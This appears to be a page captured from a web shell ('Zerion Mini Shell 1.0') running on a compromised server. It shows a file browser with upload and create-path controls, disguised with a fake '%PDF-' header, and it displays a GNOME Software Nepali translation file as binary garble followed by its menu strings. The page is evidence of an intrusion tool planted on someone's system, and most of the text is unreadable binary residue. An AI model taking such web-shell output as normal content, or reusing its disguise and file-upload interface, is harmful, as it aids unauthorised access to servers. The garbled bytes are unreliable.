%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/snap-store/1216/usr/share/locale/ne/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/snap-store/1216/usr/share/locale/ne/LC_MESSAGES/gnome-software.mo

����|�!�!�!"'"D"_"x"�"�"�"�"�"�"�"
##*#;#'X#�#��#$4$0P$.�$�$.�$X�$E%(Z%�%2�%�%4�%(&B&BE&�&G�&G�&6'U'j'y'�'�'	�'�'�'.�'((-(D(Y(q(�(�(�(
�(�(�())
)$)-)5)
G)U)g)s)�)�)0�)�)�)
�)	***+*3*;*M*	V*`*
z*�*�*
�*
�*�*�*�*�*+++2+:+
C+N+[+d+u+�+�+�+�+�+�+�+
�+�+,,,&,.,6,B,E,Q,g,.o,�,	�,�,�,�,�,�,
-
--	/-9-B-S-Z-b-j-
w-
�-�-�-�-�-�-�-�- .-.K.j.�.�.�. �.!�.%/!9/)[/�/ �/�/3�/%0%<0$b0%�0 �0$�0�01 121G1\1p1�1�1�1�1�1�1	2* 2"K2'n2*�2'�2.�2&3?3X3v3�3�3#�3�3	4%4>4Y4s4�4�4�4�4�45'5
F5T5e5v5~5�5�5�5�5�5�5
�5(�5�5.6E6
M6X6o6�6
�6�6�6�6�6�6�6
�6�6�6�6
77
+797S7Z7k7&{7�7!�7%�7	�788 8'8	88B8K8W8g8n8	}8�8�8�8�8�8�8�899
9*9C9X9m9�9�9�9
�9�9�9�9�9�9/�9-*:X:p:
�:�:�:�:�:�:�:4;=;U;$p;�;�;�;�;
�;�;�;�;
<<-<E<W<t<�<�<�<'�</=)?=i=�=@�=�=�=>!>.>"I>l>�>�>	�>�>�>�>
�>�>???
)?	7?A?
I?T?
d?r?z?�?�?
�?�?�?
�?	�?�?�?	�?@	@
@@)@1@=@D@	V@`@
f@
q@|@
�@�@
�@�@
�@�@�@�@�@�@AA#A8AOAbA&uA�A�A�A�A�A�A
�A	BBB�&B�C-�CEDEeD9�D9�D3ESE\E9yEI�E�E"F+(FTF!rF4�FA�FSG%_G��G#�H6�Hk�HsHI�I��I4xJ]�K�LF�L��L?vM4�M@�M,N�/NG�N�!O��OP@P"�P+�P�P&�P8Q"WQ
zQ�Q��QcRpR�R#�R�R7�R�RXSkS"�SM�S4�S-T(:TcTyT�T3�T8�T8U&?U;fU�U/�U��U}V"�V.�V1�V7W(IWrW1�W;�W%�W."XQXdXI�X�X+�X"Y(6Y+_Y(�Y(�Y,�Y.
ZN9Z"�Z.�Z
�ZA�Z'[?D[B�[-�[�["\54\=j\8�\�\:�\(3]\](o]>�]�]�]^!^.^.G^1v^��^1*_\_"|_A�_/�_%`(7`%``4�`+�`�`�`$a.-a\axa�a�a"�ac�aMbGmb�b	�b�b�b:�b".cQcnc	�c	�c�c	�c�c�c�cd	8dBd	^d(hd"�d%�d�d�dee5eEe
Xeceve�e�e�e�e�e!f(2f[fnf%�f	�f�f�f%�fJg]g	mgwg�g�g�gA�g
h%h5hEh	ahkh�h�h�h�h	�h�hi"iBi_i|i	�i�i"�i,�i�i#j.0j_j\|jK�jr%k�k�kG�kJlgl%tl(�l�l�l�l�lAm+[m%�m�m�m(�m4n+=nWin/�n0�n+"ogNo;�o`�o`Sp�p(�p�pq'.q!Vqxq�q:�q7�qZ r{r>�r9�r<s5Ps[�s5�st+t(Atjt8�t5�t,�tB"u
euCpu1�u/�uSv>jv�v�vH�v�wo�we
x5sx%�xT�x$yJ=y(�yN�yNz�OzT{Nn{a�{8|+X|4�|�|�|�|�|:}(K}+t}K�}(�}"~*8~*c~f�~V�~iL_�p�*��*���݀+��<���>��d=�q��2�[G�+��=σ1
�D?�7��A��C��+B�8n�+��"Ӆ$���1�(J�4s�����8ކ
�.%�GT�(��8Ň+��1*�%\�����1��ڈ5�.&�(U�~�"����ĉ"ԉ"��(�!C�5e�+��(NJ=� .�CO�8��!̋�4�:9�t�=��Ҍ+�&�8�T�g�}�+��$ō�:
�!E�g�J�,���"�L��us��4~���sY5D��ZT_��I��r�W,�[#�r3^]��1��t�x� ��p�k9y��^�!L~+=OP)/k��&���}KS'�ye��nl\IQA`�{�����z|��f�0��p�$����P%��o�'b���<Mm�c�?�x�6N>8�	�e+G�<Z�w���S_��"�d�0�v��c�6;EC��\!RK{�[�F�U-7aN�3o:�C��R�g�d5g��@F.���
�.��D��j�h*GQ2i(�X)hltMY��EW���w1���vq�-u��}nV]j>7�@q&BB`	bT�f���HO4���a�H��U#

���9 ��z=8$
*�2X���VA�|%/���:;�(�i�J�����m�?�� and %d day ago%d days ago%d hour ago%d hours ago%d minute ago%d minutes ago%d month ago%d months ago%d week ago%d weeks ago%d year ago%d years ago%e %B %Y%s %s Now Available%s %s Ready to be Installed%s %s is no longer supported.%s (%s)%s (Installed)%s (Installing)%s (Removing)%s ME Update%s System Update%s and %s have been updated.%s and %s installed%s and %s installed%s file format%s is not <a href="https://en.wikipedia.org/wiki/Free_and_open-source_software">free and open source software</a>, and is provided by “%s”.%s is not available.%s is provided by “%s”.%s is requesting additional file format support.%s is requesting additional multimedia codecs.%s not found%u Application Updated%u Applications Updated%u Application Updated — Restart Required%u Applications Updated — Restart Required%u add-on%u add-ons%u add-on installed%u add-ons installed%u application%u applications%u application installed%u applications installed%u more match%u more matches'https://en.wikipedia.org/wiki/Proprietary_software'(This could take a while), A list of applications to use, overriding the system defined ones.A list of compatible projectsA list of official repositories that should be considered free softwareA list of official repositories that should not be considered 3rd partyA list of popular applicationsAC power is requiredAbout SoftwareAdd-onsAdditional Fonts RequiredAdditional Packages RequiredAdditionsAllAn applicationAn important OS update failed to be installed.App permissionsHighApp permissionsLowApp permissionsMediumApp permissionsNoneApp permissionsUnknownApplication UpdatesApplication licenseUnknownApplication manager for GNOMEApplicationsAudio & VideoAutomatic Update NotificationsAutomatic UpdatesBranchCancelCategoriesCategoryChannelCharges May ApplyCheck _AnywayCheck for updatesChecking…Choose an application:Codecs pageCould not create cacheDetailed errors from the package manager follow:DetailsDetails pageDetails panelDeveloperDeveloper ToolsDevice FirmwareDevicesDisableDisable “%s”?DisabledDisablingDistribution nameUnknownDocumentationDon’t Warn AgainDon’t like itDowngradesDownload SizeDownloadingDownloading %s %sDownloads folderEditor’s PicksEducation & ScienceEnableEnable and InstallEnabledEnablingEndless OSExamine DiskFILENAMEFailed To UpdateFailed to copyFailed to load imageFeaturedFile systemFind Out _MoreFind in SoftwareFind out more…FreeFree SoftwareGNOME SoftwareGamesGo backGraphics & PhotographyHate itHistoryHome folderIDIn ProgressIncompatible SoftwareInstallInstall the application (using application ID)InstallationInstalledInstalled SizeInstalled UpdatesInstalled on %sInstalled pageInstalled panelInstallingInstall…Integrated FirmwareIt’s OKJust nowLast checked: %sLaunchLicenseLike itLoading pageLoading…Local fileLocalized in your LanguageLogin RequiredLooking for new updates…Love itMODEMenu of Add-onsCodecsMenu of Add-onsFontsMenu of Add-onsHardware DriversMenu of Add-onsInput SourcesMenu of Add-onsLanguage PacksMenu of Add-onsLocalizationMenu of ArtArtMenu of Audio & VideoAllMenu of Audio & VideoFeaturedMenu of Communication & NewsAllMenu of Communication & NewsChatMenu of Communication & NewsFeaturedMenu of Communication & NewsNewsMenu of Communication & NewsWeb BrowsersMenu of Developer ToolsAllMenu of Developer ToolsFeaturedMenu of Education & ScienceAllMenu of Education & ScienceArtificial IntelligenceMenu of Education & ScienceAstronomyMenu of Education & ScienceChemistryMenu of Education & ScienceFeaturedMenu of Education & ScienceLanguagesMenu of Education & ScienceMathMenu of Education & ScienceRoboticsMenu of GamesActionMenu of GamesAdventureMenu of GamesAllMenu of GamesArcadeMenu of GamesBlocksMenu of GamesBoardMenu of GamesCardMenu of GamesEmulatorsMenu of GamesFeaturedMenu of GamesKidsMenu of GamesLogicMenu of GamesRole PlayingMenu of GamesSportsMenu of GamesStrategyMenu of Graphics & Photography3D GraphicsMenu of Graphics & PhotographyAllMenu of Graphics & PhotographyFeaturedMenu of Graphics & PhotographyPhotographyMenu of Graphics & PhotographyScanningMenu of Graphics & PhotographyVector GraphicsMenu of Graphics & PhotographyViewersMenu of ProductivityAllMenu of ProductivityCalendarMenu of ProductivityDatabaseMenu of ProductivityFeaturedMenu of ProductivityFinanceMenu of ProductivityWord ProcessorMenu of ReferenceAllMenu of ReferenceBiographyMenu of ReferenceComicsMenu of ReferenceFeaturedMenu of ReferenceFictionMenu of ReferenceHealthMenu of ReferenceHistoryMenu of ReferenceLifestyleMenu of ReferencePoliticsMenu of ReferenceSportsMenu of UtilitiesAllMenu of UtilitiesFeaturedMenu of UtilitiesText EditorsModerate pageMore InformationMore informationMore…NameNetworkNetwork SettingsNew in Version %sNextNoNo Application FoundNo NetworkNo printer drivers are available for %s.No screenshot providedNo updates have been installed on this system.Not NowOS UpdatesOpen Network _SettingsOpen a local package fileOtherOverview pageOverview panelPKGNAMEPackagePendingPermissionsPost ReviewPrepare %sPreparing…PreviousProductivityProprietaryProprietary SoftwarePublic domainQuit the running instanceRatingRe_move shortcutRecent ReleasesRecommended Audio & Video ApplicationsRecommended GamesRecommended Graphics ApplicationsRecommended Productivity ApplicationsReferenceRelease ActivityRemovalsRemoveRemove “%s”?Remove…RemovingRemoving…Renamed from %sReportReport Review?Report…Requested software not foundRequires RestartRequires additional permissionsRestartRestart & UpdateRestart NowReviewer nameUnknownReviewsSEARCHScreenshotScreenshot not availableScreenshot not foundScreenshot not validScreenshot size not foundSearchSearch for applicationsSearch pageSelect AllSelect NoneSetting up updates…SettingsShowShow DetailsShow application details (using application ID)Show application details (using package name)Show update preferencesShow version numberSnap StoreSnap SupportSoftwareSoftware InstallSoftware RepositoriesSoftware Repository IdentifiedSoftware Repository IncludedSoftware Update InstalledSoftware Updates InstalledSoftware Updates FailedSoftware Upgrade AvailableSoftware catalog is being downloadedSoftware is up to dateSorry, something went wrongSortSourceSource: %sStarting up…SummarySystem ApplicationsSystem IntegrationSystem ServicesSystem Upgrade CompleteThe GNOME ProjectThe battery level is too lowThe description is too longThe description is too shortThe last update check timestampThe last update timestampThe last upgrade notification timestampThe license terms of this software are unknown.The server to use for application reviewsThe summary is too longThe summary is too shortThe timestamp of the first security update, cleared after updateThe update detailsThe update was cancelled.URLUnable to Find Requested SoftwareUnable to download updatesUnable to download updates from %sUnable to find “%s”Unable to get list of updatesUnable to install %sUninstallUninstallingUnknown Software LicenseUpdateUpdate AllUpdate PreferencesUpdatedUpdatesUpdates pageUpdates panelUtilitiesVersionVersion %sVersion HistoryVisit websiteWelcomeWelcome to %s %s!Welcome to SoftwareYes_Add shortcut_Browse Software_Cancel_Check Anyway_Continue_Disable…_Donate_Download_Enable_Install_Installed_Install…_Launch_Learn More_Login_Network Settings_Password_Post_Read Less_Read More_Remove All_Remove…_Restart Now_Show More_Software Repositories_Uninstall_Update_Update Preferences_Updates_User_Website_Write a Reviewapp reviewReviewapp statusInstalledapp statusUninstalledapp statusUnknownapp statusUpdatedhttps://www.gnu.org/philosophy/free-swon the websiteoriginUnknownsystemthe documentationthe operating systemtranslator-creditsupdatedNeverupdatesReviewuser“%s”Project-Id-Version: Gnome Nepali Translation Project
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-software/issues
PO-Revision-Date: 2021-04-20 21:06+0545
Last-Translator: Pawan Chitrakar <chautari@gmail.com>
Language-Team: Nepali Translation Team <chautari@gmail.com>
Language: ne
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n != 1;
X-Generator: Poedit 2.4.2
 र %d दिन अघि%d दिन अघि%d घन्टा अगाडि%d घन्टा अगाडि%d मिनेट अगाडि%d मिनेट अगाडि%d महिना अघि%d महिना अघि%d हप्ता अघि%d हप्ता अघि%d वर्ष अघि%d वर्ष अघि%e %B %Y%s %s उपलब्ध छ%s %s स्थापित गर्न तयार छ%s %s अब उप्रान्त समर्थित छैन।.%s (%s)%s स्थापना भयो%s स्थापना गरिदैछ%s (हटाउँदैछ)%s ME अद्यावधिक%s प्रणाली अद्यावधिक%s र %s अद्यावधिक गरिएको छ ।.%s र%s  स्थापना भयो%s र%s  स्थापना भयो%s ढाँचाको फाइल%s <a href="https://en.wikipedia.org/wiki/Free_and_open-source_software">स्वतन्त्र र खुला स्रोत सफ्टवेयर</a> छैन, र "%s" द्वारा उपलब्ध गराइएको छ ।.%s उपलब्ध छैन।.%s “%s” बाट प्राप्त भयो.%s ले थप फाइल ढाँचा समर्थन अनुरोध गर्दैछ ।.%s ले थप मल्टिमिडिया सङ्केतक अनुरोध गर्दैछ ।.%s फेला परेन%u अनुप्रयोग अद्यावधिक गरियो%u अनुप्रयोगहरू अद्यावधिक गरियो%u अनुप्रयोग अद्यावधिक गरियो — पुन: सुरु आवश्यक गर्नुहोस्%u अनुप्रयोगहरू अद्यावधिक गरियो — पुन: सुरु आवश्यक गर्नुहोस्%u एड-इन%u एड-इनहरू स्थापना गरिएका छन्%u एड-इन स्थापना गरिएको छ%u एड-इनहरू स्थापना गरिएका छन्%u अनुप्रयोग%u अनुप्रयोगहरू%u अनुप्रयोग स्थापना गरिएको%u अनुप्रयोगहरू स्थापना गरिएका%u धेरै समनता%u धेरै समनता'https://en.wikipedia.org/wiki/Proprietary_software'न्यसले केही समय लिन सक्छ, प्रणाली परिभाषित एक अधिलेखन, प्रयोग गर्न अनुप्रयोगहरूको सूची ।.मिल्दो परियोजनाहरूको सूचीनि:शुल्क सफ्टवेयर मान्नुपर्ने आधिकारिक भण्डारहरूको सूचीतेस्रो पक्ष मान्नु नपर्ने आधिकारिक भण्डारको सूचीलोकप्रिय अनुप्रयोगहरूको सूचीAC पावर आवश्यकसफ्टवेयर बारेमाएड-इनहरूथप फन्ट आवश्यकथप प्याकेजहरू आवश्यकथप गर्नुहोस्_सबैअनुप्रयोगएउटा महत्वपूर्ण सञ्चालन प्रणाली सञ्चालन प्रणाली स्थापित गर्न असफल भयो।.उच्चन्युनमध्यमकुनै पनि होइनअज्ञातअनुप्रयोग अद्यावधिकअज्ञातजिनोमको लागि  अनुप्रयोग प्रबन्धकअनुप्रयोगअडियो/भिडियोस्वचालित अद्यावधिक सुचनाहरूस्वचालित अद्यावधिकशाखारद्द गर्नुहोस्कोटिहरूकोटिच्यानलशुल्क लागु हुन सक्छजसरी पनि जाँच्नुहोस्अपडेट जाँच गर्नुहोस्जाँच गरिँदै छ…अनुप्रयोग छान्नुहोस्:कोडेक पृष्ठक्यास बनाउन सकिएनप्याकेज प्रबन्धकबाट निम्न त्रुटी जानकारीहरू दिइयो:विवरणविवरण पृ्ष्ठविस्तृत विवरणहरूप्रमुख विकासकर्ताविकासकर्ता उपकरणहरूउपकरण फर्मवेयरयन्त्रहरूअसक्षम पार्नुहोस्“%s” अक्षम पार्नुहुन्छ?अक्षम पारिएकोअक्षम पार्नुहोस्अज्ञातअभिलेखीकरणयो सन्देश पुन: नदेखाउनुहोस्मन नपरेकोअवनति गर्नुहोस्डाउनलोड आकारडाउनलोड हुँदैछ%s %s डाउनलोड गर्दैडाउनलोड फोल्डरसम्पादकको छनौटशिक्षा र विज्ञानसक्षम पार्नुहोस्सक्षम पारि स्थापना गर्नुहोस्सक्षम पारियोसक्षम पार्नुहोस्Endless OSडिस्क परिक्षण गर्नुहोस्फाइलको नामअद्यावधिक गर्न असफल भयोप्रतिलिपी गर्दा असफल भयोछवि लोड गर्न असफलप्रदर्शितफाइल प्रणालीअरू फेला पार्नुहोस्सफ्टवेयरमा खोज्नुहोस्अरू फेला पार्नुहोस्…नि:शुल्कन्स्वतन्त्र सफ्टवेयरजिनोम सफ्टवेयरखेलहरूपछाडी जानुहोस्फोटोग्राफि र ग्राफिक्समन नपर्नेइतिहासगृह फोल्डरआईडीप्रगतिमानमिल्दो सफ्टवेयरस्थापना गर्नुहोस्अनुप्रयोग (अनुप्रयोगहरु आईडी) स्थापना गर्नुहोस्स्थापना गर्नुहोस्स्थापना भयोस्थापना आकारअद्यावधिक स्थापना गरियो%s मा स्थापना गरियोस्थापित पृष्ठस्थापित प्यानलस्थापना गर्दैस्थापना गर्नुहोस्…एकीकृत फर्मवेयरठिकै छअहिलेअन्तिम जाँच : %sसुरुआत गर्नुहोस्इजाजतपत्रमन परेकोपृष्ठ लोडलोड गर्दै…स्थानीय फाइलतपाँईको भाषामा स्थानियकरण गर्नुहोस्लगइन आवश्यकनयाँ अद्यावधिकहरू खोज्दै…मन पर्योमोडकोडेकफन्टहार्डवेयर ड्राइभरहरुआगत स्रोतहरूभाषा प्याकस्थानियकरणकलासबैप्रदर्शितसबैकुराकानीप्रदर्शितसमाचारहरूवेब ब्राउजरसबैप्रदर्शितसबैकृत्रिम बुद्धिखगोल शास्त्ररसायन शास्त्रप्रदर्शितभाषाहरुगणितरोबोटिक्सकार्यसाहसिक_सबैआर्केडब्लकहरूबोर्डतास खेलहरूइमुलेटरहरूप्रदर्शितबालबालिकाबुद्धिबर्दकभुमिका निर्वाहखेलकुदरणनीति३डि ग्राफिक्ससबैप्रदर्शितफोटोग्राफिस्क्यान गर्दैकागजातहरु/भेक्टर ग्राफिक्सदर्शकसबैक्यालेन्डरडाटाबेसप्रदर्शितवित्तकागजातहरु/वर्ड प्रोसेसर_सबैजीवनीहास्यप्रदर्शितकथास्वास्थ्यइतिहासजीवन शैलीराजनीतिखेलकुदसबैप्रदर्शितसम्पादकहरूमध्यम पृष्ठथप जानकारीथप जानकारीअरू…नामसञ्जालसञ्जाल सेटिङसंस्करण %s मा नयाँपछिल्लोकुनै पनि होइनअनुप्रयोग भेटिएनसञ्जाल छैन%s मुद्रणयन्त्र ड्राइभर उपलब्ध छैन .स्क्रिनसट प्रदान गरिएको छैनयो प्रणालीमा अद्यावधिक स्थापना गरिएको छैन.अहिले होईनOS अद्यावधिकसञ्जाल सेटिङ्ग खोल्नुहोस्स्थानिय प्याकेज खोल्नुहोस्अन्यअधिलेखन पृष्ठसमिक्षा प्यानलPKGNAMEप्याकेजविचाराधिनअनुमतिहरूसमिक्षा पोस्ट गर्नुहोस्%s तयार गर्नुहोस्तयारी गर्दैछ…अघिल्लोउत्पादकतास्वामित्व भएकोस्वामित्व सफ्टवेयरसार्वजनिक डोमेनचालु दृष्टान्त अन्त्य गर्नुहोस्दर निर्धारण गर्दैसर्टकटहटाउनुहोस्हालको विज्ञप्तिसिफारिश गरिएको अडियो/भिडियो अनुप्रयोगसिफारिश गरिएका खेलहरूसिफारिश गरिएको ग्राफिक्स अनुप्रयोगसिफारिश गरिएको उत्पादकता अनुप्रयोगसन्दर्भनिष्कासन कार्यहटाउनेहरूहटाउनुहोस्"%s" हटाउनुहुन्छ?हटाउनुहोस्…हटाउँदैछहटाउँदैछ…%s बाट पुन: नामकरण गरियोप्रतिवेदन गर्नुहोस्प्रतिवेदन पुनरावलोकन गर्नुहुन्छ?प्रतिवेदन…अनुरोध सफ्टवेयर भेटिएनफेरि सुरू गर्न आवश्यकथप अनुमति आवश्यक पर्दछफेरि सुरु गर्नुहोस्पुन सुरु गरेर अद्यावधिक गर्नुहोस्फेरि सुरु गर्नुहोस्अज्ञातसमीक्षाखोजी गर्नुहोस्स्क्रिनसटस्क्रिनसट उपलब्ध छैनस्क्रिनसट फेला परेनस्क्रिनसट अवैध छस्क्रिनसट साईज फेला परेन_खोजअनुप्रयोगहरु खोज्नुहोस्पानामा खोज्नुहोस्सबै चयन गर्नुहोस्कुनै पनि होइन (पूर्वानिर्धारित)अद्यावधिक सेटअप गर्दै…सेटिङ्देखाउनेअरू धेरै विवरण देखाउनुहोस्अनुप्रयोग (अनुप्रयोगहरु आईडी) विवरण देखाउनुहोस्अनुप्रयोग (प्याकेज नाम) विवरण देखाउनुहोस्अद्यावधिक प्राथमिकताहरू देखाउनुहोस्संस्करण नम्बर देखाऊस्न्याप स्टोरस्न्याप स्टोर समर्थन गर्नुहोस्सफ्टवेयरसफ्टवेयर स्थापना गर्नुहोस्सफ्टवेर भण्डारसफ्टवेयर भण्डार पहिचान गरियोसफ्टवेयर भण्डार समावेश गरियोसफ्टवेयर अद्यावधिक स्थापना गरिएको छसफ्टवेयर अद्यावधिक स्थापना गरिएका छन्सफ्टवेयर अद्यावधिकहरू असफल भयोसफ्टवेयर अपडेटहरू उपलब्ध छन्सफ्टवेयर विवरणिका डाउनलोड भइरहेको छसफ्टवेयर अद्यावधिक छओहो, केही गलत भयोक्रमबद्ध गर्नुहोस्स्रोतस्रोत: %sसुरु गर्दै…सारांशअनुप्रयोगहरू प्रणालीप्रणाली एकीकरणप्रणाली सेवाहरूप्रणाली स्तरवृद्धि पुरा भयोजिनोम परियोजनाबाट्री न्युनवर्णन अति लामो छवर्णन अति छोटो छपछिल्लो अद्यावधिक जाँच टाइमस्ट्याम्पअन्तिम अद्यावधिक टाइमस्ट्याम्पअन्तिम स्तरवृद्धि सूचना टाइमस्ट्याम्पसफ्टवेर लाईसेन्स सर्तहरू अज्ञात छन.सर्भर प्रयोगका लागि अनुप्रयोग समीक्षाहरूसारंश अति लामो छसारंश अति छोटो छअद्यावधिक खाली पछि  पहिलो सुरक्षा अद्यावधिक को टाइमस्ट्याम्पअद्यावधिक विवरणअद्यावधिक रद्द गरियो।.युआरएलअनुरोध सफ्टवेयर भेटिएनअद्यावधिकहरू डाउनलोड गर्न असक्षम भयो%s बाट अद्यावधिकहरू डाउनलोड गर्न असक्षम भयोफेला पार्न अक्षम: "%s"अद्यावधिकहरू सुची पाउन असक्षम भयो%s स्थापना असक्षमअनुप्रहयोग हटाउनुहोस्अनुप्रहयोग हटाउदैअज्ञात सफ्टवेर इजाजतपत्रअद्यावधिक गर्नुहोस्सबै अद्यावधिक गर्नुहोस्प्राथमिकताहरू अद्यावधिकअद्यावधिक गरियोअपडेट जाँच गर्नुहोस्अद्यावधिक पृष्ठअपडेट प्यानलअनुप्रयोगहरूसंस्करण%s संस्करणसंस्करण इतिहासवेबसाइट हेर्नुहोस्स्वागतम्%s %s स्वागतम!अनुप्रयोगमा स्वागत छठिक छसर्टकट थप्नुहोस्सफ्टवेयर ब्राउज़ गर्नुहोसरद्द गर्नुहोस्जसरी पनि जाँच्नुहोस्जारी राख्नुहोस्अक्षम पार्नुहोस्…दान गर्नुहोस्डाउनलोडसक्षमस्थापना गर्नुहोस्स्थापित_स्थापना गर्नुहोस्…सुरुआत गर्नुहोस्अरु जान्नुहोस्लगइनसञ्जाल सेटिङपासवर्डपोस्टकम पढ्नुहोस्थप पढ्नुहोस्सबै हटाउनुहोस्हटाउनुहोस्…फेरि सुरु गर्नुहोस्अरू देखाउनुहोस्सफ्टवेर भण्डारअनुप्रहयोग हटाउनुहोस्अद्यावधिक (_U)प्राथमिकताहरू अद्यावधिकअपडेट जाँच गर्नुहोस्प्रयोगकर्तावेबसाइटसमिक्षा लेख्नुहोस्पुनरावलोकन गर्नुहोस्स्थापना भयोअनुप्रहयोग हटाउनुहोस्अज्ञातअद्यावधिक गरियोhttps://www.gnu.org/philosophy/free-swवेबसाइटमाअज्ञातप्रणालीमिसिलिकरणसञ्चालन प्रणालीpawan Chitrakar <chautari@gmail.com>कहिल्यै पनिपुनरावलोकन गर्नुहोस्प्रयोगकर्ता“%s”

Zerion Mini Shell 1.0